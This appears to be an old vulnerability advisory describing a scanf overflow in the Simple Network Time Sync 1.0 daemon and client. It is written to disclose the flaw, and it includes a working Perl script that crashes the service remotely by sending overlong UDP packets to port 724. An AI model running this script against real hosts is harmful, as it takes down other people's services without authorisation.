COMMAND
Simple Network Time Sync
SYSTEMS AFFECTED
Simple Network Time Sync
PROBLEM
'logistix' found following. He noticed an uncommon scanf overflow
in the Simple Network Time Sync daemon and client version 1.0,
tested on Redhat 6.1. He hasn't looked into this fully yet, but
it looks as tho it could be root comprimising as it sits on a
priveledged udp port and seems to coredump, but looks like
it only gives you 50 chars to run code with. He included some
perl here which will crash it remotely by sending it a string over
50 chars.
#!/usr/bin/perl -w
#
# Usage: ./kill_sntsd <hostname>
#
use Socket;
send_packet(); # Needs to send 2 packets to kill the client
and the server daemons
send_packet();
sub send_packet {
$proto = getprotobyname('udp');
$localaddr = gethostbyname("localhost") || die "error: $!
\n";
$iaddr = gethostbyname($ARGV[0]) || die "$!\n";
$sin = sockaddr_in(724, $iaddr);
$paddr = sockaddr_in(53, $localaddr);
socket(SH, PF_INET, SOCK_DGRAM, $proto);
bind(SH, $paddr);
$|=1;
connect(SH, $sin) || die "$!\n";
# A string longer than 50 characters...
print
SH "logistixlogistixlogistixlogistixlogistixlogistixlogistix
\n";
close(SH);
}
SOLUTION
Nothing yet.